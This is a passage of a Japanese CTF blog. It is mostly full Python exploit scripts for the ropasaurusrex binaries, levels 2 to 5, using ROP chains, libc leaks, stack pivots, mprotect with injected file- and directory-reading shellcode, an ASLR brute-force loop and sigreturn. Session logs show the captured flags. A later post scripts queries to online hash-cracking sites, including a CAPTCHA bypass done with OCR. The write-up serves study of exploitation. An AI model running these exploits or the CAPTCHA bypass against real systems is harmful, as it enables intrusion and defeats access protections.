	buf += p(72)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, data, 8)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(data)
	buf2 += p(8)
	# read(STDIN, got_write, 4)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(data) # system("/bin/sh")
	buf2 += p(plt_write)
	buf2 += p(0xdeadbeef)
	buf2 += p(data)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

最初はbss領域の先頭にESPを持っていっていたため、system関数が呼ばれた後にESPが頭打ちとなり、SIGSEGVで動かなかったため、.bssの先頭から少し先のアドレスを設定する。
注意点が身になる。
ちなみにここからFlag名が簡単には推測できないようになっている。

[root@ubuntu] # python exploit2.py r
[+] connect to remote.
[+] libc_write addr : f767fc50
[+] libc_base addr  : f75a5000
[+] libc_system addr: f75e5190
ls /home/*/flag*
/home/ropasaurusrex2/flag_23296711352720061
cat /home/ropasaurusrex2/flag_23296711352720061
flag{you_cant_stop_the_ropasaurusrex2_but_stack_pivot_help_you!}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex3

Level3 では、chrootにより /bin 配下を見れなくなっている。
そのため /bin/sh を開くことができない。
以下2通りを考えたが、後者のやり方を実装することにした(mprotectは以前やったことあるのとggったらシェルコードが見つかったため)。

  1. C言語の関数である opendirとreaddir などを利用してファイルを取得し、その後open, read, write でFlagを読み出す
  2. mprotect で.bss領域のRWX権限を書き換え、その領域でコードインジェクションを実行する

ディレクトリ読み出しとファイル読み出しのシェルコードは最初頑張って書いていたが、途中でなんとなくggったらすぐ見つかったので少し後悔した。

(参考)
read-dirのシェルコード
read-fileのシェルコード

追記:あとで伺ったところ、このread-dirのシェルコードもbataさんが書いたものだったらしい。神を見た…

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_1170037582419425558"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1027)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 80) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
	buf += p(80)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, bss+80, len(shellcode))
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(bss+80)
	buf2 += p(len(shellcode))
	# read(STDIN, got_write, 4)		# read mprotect to got_write
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(bss+80)				# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
	buf2 += p(plt_write)
	buf2 += p(bss+80)
	buf2 += p(mprotect_to)
	buf2 += p(0x1000)
	buf2 += p(7)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_mprotect = libc_base + offset_mprotect
	print "[+] libc_write addr   :", format(libc_write,'x')
	print "[+] libc_base addr    :", format(libc_base, 'x')
	print "[+] libc_mprotect addr:", format(libc_mprotect, 'x')
	f.write(shellcode)
	f.write(p(libc_mprotect))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

mprotect を実行する際のアドレスは、最初は末尾3ビットが"000"以外のところからやろうとしたら失敗していたため試行錯誤した。
0x1000単位で実行してみるとうまく書き換わったため、ひとつ新しい発見になった。

[root@ubuntu] # python exploit3.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] libc_write addr   : f764ac50
[+] libc_base addr    : f7570000
[+] libc_mprotect addr: f76570d0
..
.
ropasaurusrex3
flag_1170037582419425558
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[root@ubuntu] # 
[root@ubuntu] # 
[root@ubuntu] # python exploit3.py r
input "dir" or "file"
file
[+] connect to remote.
[+] libc_write addr   : f7636c50
[+] libc_base addr    : f755c000
[+] libc_mprotect addr: f76430d0
flag{omg!the_ropasaurusrex3_with_chroot_has_solved!?congrats!!}
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex4

Level4は、Level3に加え、さらに call write() と write@plt が潰されており、libcの情報をリークできない。
また、今回のバイナリはxinetd型で動いているため、ASLRの影響で接続する度にアドレス配置が変わる。
x86のASLRは以前にもBrute Forceで突破して解いたことがあったため、これはピンときた。
これまでに解いた ropasaurusrex について、以下のようなスクリプトを実行し libc のベースアドレスをいくつか見てみる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1028)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += "AAAA"
	buf += p(1)
	buf += p(got_write)
	buf += p(4)

	f.write(buf)
	libc_write = u(f.read(4))

	print "[+] libc_base addr    :", format(libc_write - offset_write, 'x')

if __name__ == '__main__':
	main(sys.argv)

結果(抜粋)

[+] libc_base addr    : f7592000
[+] libc_base addr    : f75e8000
[+] libc_base addr    : f7566000
[+] libc_base addr    : f75db000
[+] libc_base addr    : f755d000
[+] libc_base addr    : f75e4000
[+] libc_base addr    : f7613000
[+] libc_base addr    : f75bf000
[+] libc_base addr    : f7543000
[+] libc_base addr    : f75dd000

x86では、ランダマイズされるアドレス空間が狭い。
例えば、上記結果を見ると左から2bitは固定、3bit目も"5" か "6" のみである。また、末尾3bitも"000"で固定のため、今回はBruteForceでの突破のアプローチで攻める。
BruteForce実施時の libc_base は、上記のうち最小と最大のものの中間値(0xf75ab000)に固定し、読み出せるまでスクリプトを回した。
なお、GOT のアドレスは書き換える手間がないので、.bssに詰むものはシンプルになる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_326175712236627770"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	plt_libc_start_main = 0x0804831C
	got_libc_start_main = 0x08049618
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	# guess
	libc_base = 0xf75ab000
	libc_mprotect = libc_base + offset_mprotect

	i = 1
	while True:
		if(len(argv) == 2 and argv[1] == 'r'):
			print "[+] connect to remote."
			s, f = sock("XXXXXXXXXX", 1028)
		else:
			print "[+] connect to local."
			s, f = sock("127.0.0.1", 1025)

		print "[+] %d..." % i

		buf = "A"*136
		buf += p(bss-4)
		# read(STDIN, bss, 40) for stack pivot
		buf += p(plt_read)
		buf += p(leave)
		buf += p(0)
		buf += p(bss)
		buf += p(40)
		# read(STDIN, bss+40, len(shellcode))
		buf2 = p(plt_read)
		buf2 += p(p3ret)
		buf2 += p(0)
		buf2 += p(bss+40)
		buf2 += p(len(shellcode))
		# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
		buf2 += p(libc_mprotect)
		buf2 += p(bss+40)
		buf2 += p(mprotect_to)
		buf2 += p(0x1000)
		buf2 += p(7)

		f.write(buf)
		f.write(buf2)

		f.write(shellcode)

		shell(s)
		i += 1

if __name__ == '__main__':
	main(sys.argv)

これでLevel4についてもflagが取得できた。

[root@ubuntu] # python exploit4.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 260...
..
ropasaurusrex4
.
flag_326175712236627770
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[+] connect to remote.
[+] 261...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
[root@ubuntu] 
[root@ubuntu] 
[root@ubuntu] # python exploit4.py r
input "dir" or "file"
file
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 107...
flag{32bit_library_aslr_is_very_weak_so_you_can_defeat_the_ropasaurusrex4!}
*** Connection closed by remote host ***
[+] connect to remote.
[+] 108...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
KeyboardInterrupt
[root@ubuntu] 

ropasaurusrex5

Level5.
bataさん曰く、「libcは甘え」らしい(「libcは甘え」らしいorz)

f:id:f_rin:20150712045810p:plain

libcを使わずにExploitをしなければならない。
今のところまだ解法が思いついていないので、今日の夜までに頑張ってみようと思う。
サーバが落ちた後でも、ローカルでできたら追記する予定。

追記:
Level5も解けたため追記。
Level5は、offset 128 bytes から Return address を書き換え可能。
最初は.text領域のROP芸のみでmprotectのシステムコールを呼び出しシェルコードを実行しようとしていたが、ROPガジェットが足りない。
ここでやり方を見直し(時間かかった…)、sigreturn を呼び出すことで全レジスタの値をStackから復元できることに気付く。

sigreturnが呼び出された際には、Stack上の値を複数レジスタに復元することができる。
このときの構造は、sigcontext構造体の定義のとおりとなる。
なお、システムコール番号はこちらを参照した。

よって、sigreturnを呼び、そのあとは Level3,4 と同じくmprotectを発生させてコードインジェクションというアプローチにする。

Level3のときのmprotect呼び出し直前のレジスタの状態を見てみると以下のとおり。基本はこれに従ってsigcontextの中身を構築する

gdb-peda$ i reg
eax            0x7d         # システムコール番号
ecx            0x1000       # サイズ
edx            0x7          # RWX
ebx            0x8049000    # 開始したい場所
esp            0x80498c4
ebp            0x80498c4
esi            0x0
edi            0x8049614
eip            0xf7fdb425
eflags         0x207
cs             0x23
ss             0x2b
ds             0x2b
es             0x2b
fs             0x0
gs             0x63

しかし最初のsigreturn呼び出し時のeax(システムコール番号)のセット方法がよくわからない。
ここで他の人の解法を参照してみると、Write関数で119文字書き込めると戻り値で119がセットされることがわかる。頭いい…

これを利用し、
write → sigreturn → mprotect → read(shellcode流し込み)→ shellcode の順番に呼び出すことにする。

Level5は、256文字入力可能なため、mprotect発動までに利用できる領域は128bytes分である。
また、sigreturn時にespも書き換わるため、このときにRWX可能な箇所にStack Pivotする。
mprotect後のリターンアドレスは、vuln関数へのポインタとなっているアドレスを指定し、ret2vulnにて再度read関数を実行させる。
このreadで、RWX可能且つ使われていない領域にシェルコードを流し込み、実行する。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	readfile = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff'+'/flag'

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1029)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	write_addr = 0x80480d2
	read_addr = 0x80480b8
	text_base = 0x8048000
	int80ret = 0x80480cf
	func_vuln = 0x8048468
	shellcode_addr = 0x8048600

	buf = 'A' * 128
	# mov eax, 119; int 0x80; ret;
	buf += p(write_addr)
	buf += p(int80ret)
	buf += p(1)              # STDOUT,                also gs
	buf += p(text_base)      # write addr,            also fs
	buf += p(119)            # sigreturn syscall num, also es
	# struct sigframe
	buf += p(0x2b)           # ds            from i reg
	buf += p(0)              # edi           not used
	buf += p(0)              # esi           from i reg
	buf += p(0)              # ebp           Null
	buf += p(func_vuln)      # esp           Stack Pivot addr(return addr)
	buf += p(text_base)      # ebx           mprotect to
	buf += p(7)              # edx           PROT_READ|PROT_WRITE|PROT_EXEC
	buf += p(0x1000)         # ecx           size(0x1000)
	buf += p(0x7d)           # eax           system call num(0x7d)
	buf += p(0)              # trapno        Null
	buf += p(0)              # err           Null
	buf += p(int80ret)       # eip           int 0x80; ret;
	buf += p(0x23)           # cs/__csh      from i reg
	buf += p(0x207)          # eflags        from i reg
	buf += p(0)              # esp_at_signal Null
	buf += p(0x2b)           # ss/__ssh      from i reg
	buf += p(0)              # &fpstate      Null
	buf += p(0)              # oldmask       Null
	buf += p(0)              # cr2           Null

	# read(STDIN, tmp addr, len(shellcode))
	buf2 = 'A' * 128
	buf2 += p(read_addr)
	buf2 += p(shellcode_addr)
	buf2 += p(0)
	buf2 += p(shellcode_addr)
	buf2 += p(len(shellcode))

	f.write(buf)
	time.sleep(0.5)
	f.write(buf2)
	f.write(shellcode)

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

途中どうしてもうまくいかず悩んでいたが、bufとbuf2を送り込む前にsleepを入れると想定通りの挙動となった。
今回の攻略は、リモートサーバが停止していたためローカルにて実施。chrootは実施していないためローカルの / 配下が表示されていることがわかる。

[root@ubuntu] # python exploit5.py
input "dir" or "file"
dir
[+] connect to local.
WIN
ELFF�4l4 (	���������$$Q�tWIN
libx32
opt
tmp
srv
home
..
.
var
usr
sbin
cdrom
lib32
media
run
vmlinuz
proc
lib
mnt
bin
sys
dev
boot
initrd.img
etc
root
lost+found
lib64
*** Connection closed by remote host ***
[root@ubuntu] #

sigreturn強い…。x64でもこれは使えそうだ。



それにしても独学でやってきたBOFについて、ここまで丁寧に説明してもらえたことは今までのCTF活動の中で一番と言ってよいほど有意義だったと思う。
このごろ燻ぶっていたけれど、久しぶりにやる気に火がついた気がした。

まだ学ぶことも多いし、周りのスピードも信じられないぐらい早い。
そんな中でも、こんなに良いきっかけを与えたくれたkatagaitaiや運営の方々には大変感謝したい。
今年中には、もっと高いところから取り組めるよう、また外に向かって良い貢献ができるよう、精進していこうと強く思う。

オンライン暗号解析サービスを呼び出して使ってみる

簡易な暗号やハッシュ値の解析は、オンラインのサービスが充実しているところが多い。
独自に解析プログラムを書くときもあるが、もともとオンラインで用意されてるものを使ってしまうこともある。
特にハッシュのデータベースなんかは自分で集めるよりも遥かに楽だと思っている。

ということで、利用時にはブラウザを立ち上げ、お気に入りからサイトに飛び、暗号文字やハッシュ値を入力後に(必要ならCAPTCHAを入力して)ボタンを押す動作をしなければならない。
APIを公開しているサイトならば良いのだけど、そういうサイトは多くないので、今回はいくつかのサイトに対してスクリプトから結果を取りに行くことを試してみた。

換字暗号

これは言わずと知れたquipquipが有名だ。
簡単な換字暗号を解くときにはお世話になっている。

f:id:f_rin:20150329184719p:plain

文字種はアルファベットだけだが、指定するmodeによってスペースの位置も検知してくれる。
サイトを解析するとPostで値を送信しているが、getメソッドでも結果を返してくれるように作ってあるため、クエリストリングを構築して呼んでやるだけで答えが返ってくる。親切な設計だ。

ブラウザから行かなくても良いように、アクセスして結果を返してくれるスクリプトを書いてみた。
といっても、アクセスして返却されたhtmlから該当文字列を抜き出すだけ。

#!/usr/bin/env python

import sys, urllib2

def decrypt_online(encoded, mode, clues):
	url = 'http://quipqiup.com/index.php?ciphertext=%22'
	url = url + urllib2.quote(encoded) + '%22&mode=' + mode + '&clues=' + clues + '&action=Solve'
	try:
		response = urllib2.urlopen(url)
	except urllib2.HTTPError, e:
		print 'http error:', e.code, e.reason
		quit()

	for line in response.read().split('\n'):
		if line.startswith('<script>solsum(0,'):
			return line.split('"')[1][1:-1]
	return ''

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s "Substitution cipher text"' % argv[0]
		quit()

	mode = raw_input('input mode.\nTrust spaces (Cryptogram mode): 1\nFind spaces (Patristocrat mode): 2\nAuto-detect puzzle type: 3\n>> ')
	if mode not in ['1','2','3']:
		print 'input 1 ~ 3'
		quit()
	clues = urllib2.quote(raw_input('input clues if you already know(ex: "X=T M=Y"): '))

	decoded = decrypt_online(argv[1], mode, clues)

	if '' == decoded: print 'cannot decrypt.'
	else: print decoded

if __name__ == '__main__':
	main(sys.argv)

少し時間はかかるようだがコマンドラインで作業しているときに呼び出せるのはありがたい。

[root@kali] # ./dec_substitution.py "TLIOU FOIIK VDTDI VYIOI OCOPJ TFSTD IJXNP FJDRO BVNNO PCOYO VCBKI JXNPT D"
input mode.
Trust spaces (Cryptogram mode): 1
Find spaces (Patristocrat mode): 2
Auto-detect puzzle type: 3
>> 3
input clues if you already know(ex: "X=T M=Y"): 
IF WE KNEW WHAT IT WAS WE WERE DOING IT WOULD NOT BECALLED RESEARCH WOULD IT

すでにわかっている文字があれば、Solverに与えることもできる。

[root@kali] # ./dec_substitution.py "PG XOYHLM XOYLY PZ GH TPUUYLYGRY EYXBYYG XOYHLM WGT JLWRXPRY. PG JLWRXPRY, XOYLY PZ."
input mode.
Trust spaces (Cryptogram mode): 1
Find spaces (Patristocrat mode): 2
Auto-detect puzzle type: 3
>> 3
input clues if you already know(ex: "X=T M=Y"): X=T M=Y
IN THEORY THERE IS NO DIFFERENCE BETWEEN THEORY AND PRACTICE. IN PRACTICE, THERE IS.

数秒の時間がかかることがネックになることがあれば、個別にSolverを作ったほうが良いかもしれない。

MD5ハッシュ

MD5は以前使っていたサイトが閉鎖されていたり重いサイトが多かったりして、なかなか「ここを使おう」というところがない。
今回はGoogleで検索して出てきたものをいくつか使ってみた。
一般的な英単語は大差はなくても、日本語の名詞などはサイトによって載ってたり載ってなかったりしている(まぁ同じデータベース使っているわけがないのでそうだけど)。

いくつかスクリプトを作って試してみた中だとここがサイトの作りも簡単で安定していた。

#!/usr/bin/env python

import urllib, urllib2, sys, re

def abstStr(string, splitter, search):
	sep = string.split(splitter, 1)[1]
	m = re.search(search, sep)
	return m.group(0)

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s md5text' % argv[0]
		quit()
	elif(len(argv[1]) != 32):
		print 'please input md5text(length==32).'
		quit()

	url = 'http://md5decryption.com/'

	# post data
	formdata = {
		'hash':argv[1],
		'submit':'Decrypt It!'
	}
	formdata = urllib.urlencode(formdata)
	req = urllib2.Request(url)
	req.add_data(formdata)

	try:
		res = urllib2.urlopen(req)
		res = res.read()
		if 'Decrypted Text: </b>' in res:
			res = res.split('Decrypted Text: </b>', 1)[1]
			res = res.split('</font>', 1)[0]
			print argv[1] + ' is:', res
		elif "Sorry, this MD5 hash wasn't found in our database" in res:
			print argv[1] + ': Not Found'
		else:
			print 'something error'
	except urllib2.HTTPError, e:
		print 'http error:', e.code, e.reason

if __name__ == '__main__':
	main(sys.argv)

ここはレスポンスも1sec未満ぐらいだし、簡単なMD5の元値を調べるには便利そうだ。

[root@kali] # ./dec_md5.py 098f6bcd4621d373cade4e832627b4f6
098f6bcd4621d373cade4e832627b4f6 is: test

せっかくなら少しでも多くのデータを持ってるサイトでやりたいけど、それってどこなんだろう…
やっぱりググって上のほうに出てくるサイトなのかな。

CAPTCHAのあるサイト

ということでGoogle検索で上のほうに出てくるサイトを見てくるとHASHKILLERなんかがヒットする。
ためしにSHA1のデータベース総量の説明を見ると、"We have a total of just over 43.745 billion unique decrypted SHA1 hashes"とのこと。すごい。
他にもMD5やNTLMもデータベースを持っており解析に有用だが、下部にCAPTCHAを入力する欄がある。

f:id:f_rin:20150329193553p:plain

HTML構造を見ると、ランダム値がhidden項目が複数生成されていたりしてちょっと複雑。
また、アクセス時にUser-Agentヘッダがないと403 Forbiddenになり、利用には工夫が必要だ。
CAPTCHAはぐちゃぐちゃってなっているノイズを消してやれれば良さそう。PILを使って赤色の閾値を取り2値化してみた。

f:id:f_rin:20150331032510p:plain

その後python-tesseractを使って読んでみると、たまに文字認識できないときがあるけど、何度か試せばいけそう。

#!/usr/bin/env python

import tesseract, cookielib, urllib, urllib2, os, sys, re
from PIL import Image

def editColorChannel(inputfile):
	img1 = Image.open(inputfile).convert('RGB')
	# get pixel size
	pixelSizeTuple = img1.size
	img2 = Image.new('RGB', img1.size)

	# edit color
	for i in range(pixelSizeTuple[0]):
		for j in range(pixelSizeTuple[1]):
			r,g,b = img1.getpixel((i,j))
			if (r < 115):
				img2.putpixel((i,j), (0,0,0))
			else:
				img2.putpixel((i,j), (255,255,255)) 
	img2.save(inputfile)

def readchar(inputfile):
	api = tesseract.TessBaseAPI()
	api.Init('.', 'eng', tesseract.OEM_DEFAULT)
	api.SetVariable('tessedit_char_whitelist', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
	api.SetPageSegMode(tesseract.PSM_SINGLE_WORD)

	mBuffer = open(inputfile, 'rb').read()
	return tesseract.ProcessPagesBuffer(mBuffer,len(mBuffer),api)

def abstStr(string, splitter, search):
	sep = string.split(splitter, 1)[1]
	m = re.search(search, sep)
	return m.group(0)

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s sha1text' % argv[0]
		quit()
	elif(len(argv[1]) != 40):
		print 'please input sha1text(length==40).'
		quit()

	trials = 3	# try 3times
	baseurl = 'http://www.hashkiller.co.uk/'
	imgname = 'capt.ashx?d='
	pageurl = 'sha1-decrypter.aspx'

	for i in range(trials):
		# get html
		cj = cookielib.CookieJar()
		opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
		# avoid 403 Forbidden
		opener.addheaders = [('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0')]

		r = opener.open(baseurl+pageurl)
		html = r.read()

		# get picture
		imgnum = abstStr(html, imgname, '\d*\.\d*')
		filename = imgnum+'.jpg'
		f = open(filename, 'wb')
		r = opener.open(baseurl+imgname+imgnum)
		f.write(r.read())
		f.close()

		# edit img
		editColorChannel(filename)

		# ocr
		txtCaptcha = readchar(filename).translate(None, ' \n')
		txtCaptcha = txtCaptcha.replace(' ','')
		os.system('rm -f ' + filename)
		#print 'captcha:', txtCaptcha

		# post data
		viewstate = abstStr(html, 'id="__VIEWSTATE" value="', '[a-zA-Z0-9+_=/]*')
		eventval = abstStr(html, 'id="__EVENTVALIDATION" value="', '[a-zA-Z0-9+_=/]*')
		formdata = {
			'ctl00$ScriptMan1':'ctl00$content1$updDecrypt|ctl00$content1$btnSubmit',
			'__EVENTTARGET':'',
			'__EVENTARGUMENT':'',
			'__VIEWSTATE':viewstate,
			'__EVENTVALIDATION':eventval,
			'ctl00$content1$txtInput':argv[1],
			'ctl00$content1$txtCaptcha':txtCaptcha,
			'__ASYNCPOST':'true',
			'ctl00$content1$btnSubmit':'Submit'
		}
		data_encoded = urllib.urlencode(formdata)
		response = opener.open(baseurl+pageurl, data_encoded)
		res = response.read()

		if '[Not found]' in res:
			print argv[1] + ': Not Found'
			break
		elif('<span class="text-green">' in res):
			res = res.split('<span class="text-green">', 1)[1]
			res = res.split('</span>', 1)[0]
			print argv[1] + ' is:', res
			break
		elif(i > 1):
			print 'failed to solve captcha',

		print '.',

if __name__ == '__main__':
	main(sys.argv)

これでsha1の元の値までは見れるようになった。

[root@kali] # ./dec_sha1.py 451dcf9913bf3b329c05c2a46ad555eeae267ba8
451dcf9913bf3b329c05c2a46ad555eeae267ba8 is: sushi

たまに突破できないが、簡単なCAPTCHAの解析やワンタイムトークンを生成しているサイトぐらいは割とすぐにスクリプトから呼び出して利用できることがわかった。

オンラインサービス利用の利点・欠点

いくつかのサイトを利用しながら、オンラインサービスを使うメリット・デメリットを考えてみた。

メリット

  • 自分でレインボーテーブルを揃えたり暗号解読ロジックを書かなくても、ネットに繋ぐだけで簡単に利用できる
  • あるサイトでdecryptできなくても、他のサイトではdecryptできたりして、色んなサイトを試すことでHIT率が簡単に上がる

デメリット

  • (当たり前だが)落ちていると使えない。あるサイトはCTFがある日に高確率で落ちていることもあり、何かの陰謀なんじゃないかと思うこともある
  • Solverに負荷をかけるような使い方ができない(したくないし、公開側もされたくないだろう)
  • あとは、それほど気にする必要はないけどネット環境に繋がらないと使えない、ぐらいか

上述の特性を踏まえ、時間があるときに次のようなことをしておこうかと思った。どれもハッシュの元の値を求めたりするときを想定している。

  • オンラインサイトを利用する場合
